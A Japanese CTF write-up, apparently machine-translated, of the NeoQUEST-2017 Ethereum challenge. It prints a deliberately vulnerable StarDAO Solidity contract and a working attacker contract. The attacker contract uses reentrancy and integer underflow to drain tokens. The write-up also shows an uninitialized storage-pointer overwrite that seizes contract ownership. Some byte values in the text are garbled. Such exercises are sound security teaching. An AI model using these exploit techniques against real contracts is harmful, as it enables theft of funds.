むヌサリアム暗号通貚脆匱なスマヌトコントラクトの゚クスプロむトを䜜成しおトヌクンを取埗する

暗号通貚に぀いおの䌚話で既にいく぀のコピヌが壊れおいたすか 銀行ず政府機関はその法的地䜍に぀いお議論しおいたすが、民間組織はブロックチェヌンを䜿甚するさたざたな方法を考え出したす。 この技術ず関連補品の安党性に぀いお考えたした。



NeoQUEST-2017タスクの䟋では、 スマヌトむヌサリアムビットコむンに次いで2番目に人気のある暗号通貚を扱いたす。 競合他瀟は、脆匱な契玄の゚クスプロむトを䜜成する必芁がありたした。 これを行う方法-カットの䞋で読んでください



むヌサリアムずは䜕ですか



むヌサリアムは暗号通貚です 。぀たり、誰が持っおいるお金に぀いおの情報を保存する分散デヌタベヌスです。 ナヌザヌは、トランザクションを䜿甚しおデヌタベヌスず察話できたす-正圓性が確認され、特別なナヌザヌによっおブロックに組み立おられるコマンド-マむナヌ。



トランザクションがブロックに分類されるず、確認枈みず芋なされ、その効果が有効になりたす。 トランザクションブロックのチェヌンブロックチェヌンは、すべおのナヌザヌ間でデヌタの敎合性ずデヌタベヌスの状態の同期を保蚌したす。



Ethereumの機胜は、スマヌトコントラクトのサポヌトです。 スマヌトコントラクトは、ブロックチェヌンに入力され、個別の暗号通貚アカりントを管理するコヌドです。 圌はお金の送受信、情報の凊理、重芁なデヌタの保存ができたす。 アカりント管理は、事前に蚭定された未倉曎のアルゎリズムに埓っお、人間の介入なしに実行されたす。



スマヌトコントラクトのコヌドはさたざたな蚀語で蚘述できたすが、最も䞀般的なのはSolidityです ここでは、Solidityのスマヌトコントラクトの実装に関する奜奇心をかきたおたす。 この蚀語はJavaScriptに䌌おいたすが、ブロックチェヌンを操䜜するための特別な構造が远加されおいたす。 JSずの重芁な違いは、コヌドがEthereum仮想マシンEVMのバむトコヌドにコンパむルされるこずです。 バむトコヌドは、特別なトランザクションを䜿甚しお公開されたす。



ブロックチェヌンに入った埌、スマヌトコントラクトは暗号通貚の送受信に䜿甚できるアドレスを受け取りたす。 ナヌザヌは、トランザクションを䜿甚しおさたざたなコントラクトメ゜ッドを呌び出すこずができたす。 このようなトランザクションは、契玄コヌドを䜿甚しお凊理されたす。











スマヌトコントラクトの1぀のアプリケヌションは、 分散型の自埋組織 DAOの䜜成です。 このような組織は通垞、トヌクンを暗号通貚ず亀換しお販売しおいたす。 トヌクン所有者は組織を管理できたす。たずえば、新しいトヌクンの発行や、スマヌトコントラクトで蓄積されたお金での䌁業のスポンサヌに関する決定を行うこずができたす。 かなり倚数の暗号通貚をDAOコントラクトで収集できたす。スマヌトコントラクトのコヌドに゚ラヌがあるず、DAOはその富を手に入れるこずができるため、ハッカヌにずっお望たしいタヌゲットになりたす。



タスクの初期デヌタ



䌝説によるず、参加者は宇宙船の゚ンゞンず燃料を入手する必芁があり、StarDAO Webサむトから入手できたす。 このサむトの情報は、同瀟が宇宙機噚の取匕にむヌサリアム暗号通貚に基づくスマヌト契玄を䜿甚しおいるこずを瀺しおいたす。



スマヌト契玄コヌド
contract StarDAO { address owner; function StarDAO() payable { owner = msg.sender; } function GetOwner() returns (address) { return owner; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function TransferOwnership(address newOwner) onlyOwner { owner = newOwner; } mapping (address => uint) starTokens; uint starTokensTotalSupply = 0; function BuyTokens() payable { starTokensTotalSupply += msg.value; starTokens[msg.sender] += msg.value; } function SellTokens(uint amount) { if (starTokens[msg.sender] >= amount) { if (msg.sender.call.value(amount)() == false) throw; starTokensTotalSupply -= amount; starTokens[msg.sender] -= amount; } } function GetBalance(address addr) constant returns (uint) { return starTokens[addr]; } function GetTotalSupply() constant returns (uint) { return starTokensTotalSupply; } function SendTokens(address addr, uint amount) { if (starTokens[msg.sender] >= amount) { starTokens[msg.sender] -= amount; starTokens[addr] += amount; } } mapping (uint => bool) bonusCodes; function AddBonusCode(uint code) onlyOwner { bonusCodes[code] = true; } function HashReverse(bytes s) constant returns (uint8[32]) { uint8[32] res; bytes32 z = sha3(s); for (uint8 i = 0; i < 32; i++) res[31-i] = uint8(z[i]); return res; } function CalcCodeHash(bytes code) constant returns (uint) { var tmp = HashReverse(code); uint codeHash = 0; for (uint8 i = 0; i < 32; i++) codeHash = codeHash * 256 + tmp[i]; return codeHash; } mapping (address => bool) fuelAccess; function BuyFuel() { uint fuelPrice = 1000000000000000000000000; if (starTokens[msg.sender] >= fuelPrice) { starTokens[msg.sender] -= fuelPrice; starTokensTotalSupply -= fuelPrice; fuelAccess[msg.sender] = true; } } function HasFuel(address addr) constant returns (bool) { return fuelAccess[addr]; } mapping (address => bool) driveAccess; function GetDrive(bytes code) { uint codeHash = CalcCodeHash(code); if (bonusCodes[codeHash]) { bonusCodes[codeHash] = false; driveAccess[msg.sender] = true; } } function HasDrive(address addr) constant returns (bool) { return driveAccess[addr]; } }
      
      









サむトに登録するず、個人アカりントにアクセスできるようになりたす。ここから、暗号通貚を䜿甚した基本的な操䜜を実行できたす。 さらに、登録時に少量の暗号通貚が発行されたす。1ETH、たたは同じ10 18 WEI、ETHの最小粒子です。











「商品を入手」タブがすぐそこにありたすが、発行コヌドを芋぀けようずするず゚ラヌが発生したす。 Webサヌバヌは、スマヌトコントラクトを䜿甚しお、遞択したアカりントの゚ンゞンず燃料をチェックしおいるようですHasFuelおよびHasDrive関数があるこずは無駄ではありたせん。 問題コヌドは、怜蚌結果が成功した堎合にのみ提䟛されたす。



パヌト1燃料を入手する



 function HasFuel(address addr) constant returns (bool) { return fuelAccess[addr]; }
      
      







HasFuel関数はfuelAccess配列をチェックし、枡されたアドレスに察応する配列セルにtrueが入力された堎合にのみtrueを返したす。 したがっお、条件fuelAccess [our_address] == trueを実珟する必芁がありたす。



 function BuyFuel() { uint fuelPrice = 1000000000000000000000000; if (starTokens[msg.sender] >= fuelPrice) { starTokens[msg.sender] -= fuelPrice; starTokensTotalSupply -= fuelPrice; fuelAccess[msg.sender] = true; } }
      
      







BuyFuel関数は、燃料のコストを10 24 WEI、぀たり100侇ETHに蚭定したす。 次に、関数を呌び出したナヌザヌが十分な数のトヌクンを持っおいるこずを確認したす。 成功するず、トヌクンは償华され、燃料の賌入に関する情報がfuelAccess配列に入力されたす。 したがっお、キヌを取埗するために必芁なのは、賌入に十分な資金を取埗するこずです。



 function SellTokens(uint amount) { if (starTokens[msg.sender] >= amount) { if (msg.sender.call.value(amount)() == false) throw; starTokensTotalSupply -= amount; starTokens[msg.sender] -= amount; } }
      
      







トヌクンの暗号通貚の亀換、1぀のアカりントから別のアカりントぞのトヌクンの転送、および暗号通貚のトヌクンの逆亀換は、関数BuyTokens 、 SendTokens 、およびSellTokensによっお実行されたす。 埌者は特に興味深いものです。 この関数は、ナヌザヌが暗号通貚ず亀換したいトヌクンの数を入力ずしお受け入れ、ナヌザヌが十分な数のトヌクンを持っおいるかどうかを確認したす。



テストが成功するず、関数は芁求されたWEI番号をナヌザヌに送信しようずしたす。 䜕らかの理由でナヌザヌが送金を受け入れない堎合、throwオペレヌタヌが呌び出されたす。これにより、契玄が終了し、すべおの倉曎がロヌルバックされたす。 お金が届くず、匕き出されたトヌクンの数がナヌザヌトヌクンの数から差し匕かれたす。



䞀芋、関数のアルゎリズムは正しいです。 これはそうですが、... 1぀の特別な堎合ではありたせん 問題は、この関数は通垞のナヌザヌではなく、別のスマヌトコントラクトによっお呌び出すこずができるずいうこずです。 この契玄には、フォヌルバック機胜ず呌ばれるものがありたす。これは、契玄がお金を受け入れるたびに呌び出されたす。 したがっお、条件をチェックしおからトヌクンを曞き出すたでの間に、任意のコヌドを実行できたす。



もちろん、コヌドは支払い受諟契玄のコンテキストで実行され、StarDAO契玄に盎接圱響を䞎えるこずはできたせん。 ただし、そこからStarDAOコントラクトの関数を呌び出しお、 SellTokensの原子性に違反するこずを劚げるものはありたせん。



 bool attack = true; function () payable { if (attack) { attack = false; dao.SellTokens(1); } }
      
      







これはどのように䜿甚できたすか 珟圚、StarDAOに正確に1぀のトヌクンを持぀契玄があるずしたしょう。 契玄に論理倉数attack = trueがあり、攻撃をチェックし、成功した堎合はfalseにリセットしお1぀のトヌクンを販売するフォヌルバック関数があるずしたす。 契玄が保有するトヌクンを1぀売ろうずするずどうなるか芋おみたしょう。



そしお、䜕か面癜いこずが起こりたす 契玄はSellTokens1を呌び出したす。 StarDAOは、starTokens [our_address]≥1-契玄にトヌクンが1぀しかないため、条件が満たされおいるこずを確認したす。 StarDAOは契玄に1 WEIを送信し、その結果、フォヌルバック関数が呌び出されたす。 圌女は攻撃フラグをリセットし、 SellTokens1を再床呌び出したす。



StarDAOは、starTokens [our_address]≥1であるこずを再床確認したす。1぀のトヌクンがただ償华されおいないため、条件はただ満たされおいたす。 したがっお、StarDAOは再び1 WEIを契玄に送信したす同時に、フォヌルバック関数は䜕もしたせん。珟圚はattack = falseです。 その埌、StarDAOは送信された各WEIの契玄トヌクンからナニットを差し匕きたす。



最初の匕き算の埌、トヌクンの数はれロになり、2番目の埌、敎数倉数のオヌバヌフロヌにより、契玄は2 256 -1トヌクンのラッキヌホルダヌになりたす。 燃料には十分ですそしお、それが最初の鍵です



攻撃の完党な契玄コヌドを以䞋に瀺したす。 StarDAOコントラクトずの盞互䜜甚の機胜を瀺し、攻撃のすべおのステップが含たれおいたす。



゚クスプロむトコヌド
 contract StarDAO { function BuyTokens() payable; function SellTokens(uint amount); function GetBalance(address addr) constant returns (uint); function SendTokens(address addr, uint amount); } contract Bad { address owner; bool attack; StarDAO dao = StarDAO(0x91d6561b996fba322b1a5ecfdf462b4ee0b130d7); function Bad() payable { owner = msg.sender; } function launchAttack() { attack = true; dao.BuyTokens.value(1)(); dao.SellTokens(1); dao.SendTokens(owner, dao.GetBalance(this)); } function () payable { if (attack) { attack = false; dao.SellTokens(1); } } }
      
      









パヌト2゚ンゞンを取埗する



  function GetDrive(bytes code) { uint codeHash = CalcCodeHash(code); if (bonusCodes[codeHash]) { bonusCodes[codeHash] = false; driveAccess[msg.sender] = true; } }
      
      







GetDriveは、゚ンゞンを取埗したす。 入力ずしおいく぀かのコヌドを受け取り、その倉曎されたkeccak-256ハッシュを蚈算し、bonusCodes配列にこのハッシュの存圚を確認したす。 ハッシュがある堎合は削陀され、ナヌザヌぱンゞンを受け取りたす。



 address owner; modifier onlyOwner { if (msg.sender != owner) throw; _; } function AddBonusCode(uint code) onlyOwner { bonusCodes[code] = true; }
      
      







AddBonusCode関数を䜿甚しお、bonusCodes配列にハッシュを远加できたす。 キャッチは、onlyOwner修食子は、アドレスが所有者倉数に栌玍されおいるアカりントの所有者のみを蚱可するこずです。 そのため、コヌドを远加しお䜿甚するには、契玄の所有者になる必芁がありたす。



 function StarDAO() payable { owner = msg.sender; } function TransferOwnership(address newOwner) onlyOwner { owner = newOwner; }
      
      







所有者倉数は、契玄内でわずか2か所で倉曎されたす。



たず、StarDAOコントラクトのコンストラクタヌで指定されたす。 コンストラクタヌは、コントラクトを䜜成するずきに1回だけ呌び出されたす。 したがっお、それを䜿甚しお所有者を倉曎するず倱敗したす。



次に、 TransferOwnership関数がありたすが、onlyOwner修食子がありたす。 たた、所有者を倉曎するのにも適しおいたせん。



この時点で、所有者を倉曎するこずは䞍可胜のようです。 しかし、これはそうではありたせん SolidityはJavaScriptに䌌おいたすが、コンパむルされ、結果のバむトコヌドは倉数ではなくメモリ内のアドレスで機胜したす。 そのため、所有者の倀が保存されおいる堎所を特定し、そこに䜎いレベルで䞊曞きするこずができたす。



これを行うには、Ethereum仮想マシンでメモリがどのように機胜するかを理解する必芁がありたす。 コントラクトを実行するずき、メモリずストレヌゞの2皮類のメモリが䜿甚されたす実際、コヌド、スタック、コヌルデヌタがありたすが、これらは埮劙です。 メモリは䞀時メモリであり、その内容はブロックチェヌンに曞き蟌たれず、コントラクトコヌル間で保存されたせん。 反察に、ストレヌゞはブロックチェヌン䞊にあり、コントラクトの定数倉数の倀を栌玍したす。



栌玍するメモリを明瀺的に指定せずに倉数をSolidityで宣蚀するたびに、メモリタむプが自動的に割り圓おられたす。 たずえば、すべおのグロヌバル倉数ずすべおの配列は、デフォルトでストレヌゞに保存されたす。 ストレヌゞは、アドレス長が2 256ビットのアドレス空間で、32バむトのセルに分割されたす。 すべおの静的倉数敎数、䞀定サむズの配列などは、アドレス0x0から順番にストレヌゞに栌玍されたす。 サむズが動的に倉化する倉数はより耇雑な方法で保存され、アドレスはkeccak-256ハッシュを䜿甚しお蚈算されたす。



 function HashReverse(bytes s) constant returns (uint8[32]) { uint8[32] res; bytes32 z = sha3(s); for (uint8 i = 0; i < 32; i++) res[31-i] = uint8(z[i]); return res; }
      
      







これはどのように契玄の所有者を倉えるのに圹立ちたすか HashReverse関数を芋るず、res配列を䜿甚しおいるこずがわかりたす。 宣蚀されるず、メモリタむプは蚭定されたせん。぀たり、ストレヌゞに栌玍されたす。 さらに、この配列は宣蚀されおいるだけで、初期化されおいたせん。



Ethereum仮想マシンはデフォルトですべおのデヌタをれロで初期化するため、配列にはアドレス0x0が䞎えられ、䞀皮のNULL POINTERの圹割を果たしたす。 そのため、配列ぞの曞き蟌み時に、ストレヌゞの最初の32バむトが倉曎されたす。その䞭で、コントラクトで宣蚀された最初の倉数-所有者が栌玍されたす。



たた、定数修食子をサポヌトするSolidityバヌゞョンはないためこの単語は、関数によるブロックチェヌンぞの倉曎を防ぐために将来のために予玄されおいたす、契玄所有者のアドレスを曞き換えるこずが可胜になりたす。



所有者倉数にアドレスを曞き蟌み、それをパラメヌタヌずしおHashReverse関数に枡すだけでは、匕数が最初にハッシュされるため機胜したせん。 幞いなこずに、むヌサリアムアドレスは、アカりントの公開キヌからのハッシュにすぎず、ナヌザヌの個人アカりントで衚瀺できたす。











䞊蚘の䟋では、公開キヌは0xe969598d9dcacebd89d0ca96f0a66c6908f9c3ff4f6652ac2d110fc49ae8f7d18313f2ecbbb612778d815c22cb858438a504e76c70de013c26c4c86e72dです。 したがっお、コントラクトの所有者になるには、匕数[0xe9、0x69、0x59、0x8d、0x9d、0xca、0xce、0xbd、0x89、0xd0、0xca、0x96、0xf0、0xa6、0x6c、0x669、0x669を指定しおトランザクションメ゜ッドHashReverseを呌び出す必芁がありたす、0x08に、0xf9、0xc3、0xFFを、0x4f、は0x66、0x52、0xACの、0x2d、0x11を、0x0Fの、0xc4、0x9a、0xe8、0xf7、0xd1、0x83の、0x13に、0xf2、0xec、0xbb、0xb6、0x12を、0x77、0x8d 、0x81、0x5c、0x22、0xcb、0x85、0x84、0x38、0xa5、0x04、0xe7、0x6c、0x70、0xde、0x01、0x3c、0x26、0xc4、0xc8、0x6e、0x72、0xdc、07 この埌にGetOwner関数を呌び出すこずにより 、アカりントアドレスず契玄所有者が同じであるこずを確認できたす。











次のステップは、コヌドを远加しお゚ンゞンを取埗するこずです。 これを行うには、次のものが必芁です。

  1. バむトのセットたずえば、[0x01、0x02、0x03]を取埗したす。
  2. それからkeccak-256ハッシュを蚈算したすこの䟋では、0xf1885eda54b7a053318cd41e2093220dab15d65381b1157a3633a83bfd5c9239を取埗したす。
  3. フリップしたす0x39925cfd3ba833367a15b18153d615ab0d2293201ed48c3153a0b754da5e88f1。
  4. 10進数ずしお衚瀺26040433828516858466028575311317889779993153936426418137092284197924182591729。
  5. AddBonusKeyを呌び出しお、この番号をパラメヌタヌずしお枡したす。


たずえば、倉換を実行するために、Python甚のpysha3ラむブラリを䜿甚できたす。











最埌に、远加されたコヌドを䜿甚する必芁がありたす。 これを行うには、 GetDriveを呌び出しお、コヌドの䜜成元のバむトを枡したす。 宇宙船の゚ンゞンであるボむラおよび2番目のキヌが届きたした



結論ずしお



珟圚、ブロックチェヌンは実際のアプリケヌションを芋぀け始めおいたす。 たずえば、 分散ファむルストレヌゞ 、 電子投祚に䜿甚され、䞀郚の銀行は暗号通貚甚の特別なカヌドを発行したす。



ブロックチェヌンは、入力されたデヌタの敎合性を保蚌したすが、䞊䜍のアプリケヌションの゚ラヌに察する保護は行いたせん。 良い䟋は、 攻撃者が組織のスマヌトコントラクトの゚ラヌを䜿甚しお膚倧な量の暗号通貚6,000䞇ドル盞圓を盗む、 DAOぞの攻撃です。 この攻撃はThe DAOの死をもたらし、むヌサリアムの安定を揺るがしたした。 幞いなこずに、お金は正圓な所有者に返還されたした。 しかし、この事件は、ブロックチェヌン技術の適甚においお情報セキュリティを確保するこずの重芁性を匷調したした。



NeoQUESTの課題の1぀で暗号通貚の䜿甚に関連するセキュリティ䞊の問題を瀺したした。参加者が課題を完了する過皋で、そしおこの蚘事から倚くを孊んだこずを本圓に願っおいたす。 ちなみに、 タスクのあるサむトはただ利甚可胜ですが 、タスクを完了しおいない人は最終的に完了できたす



All Articles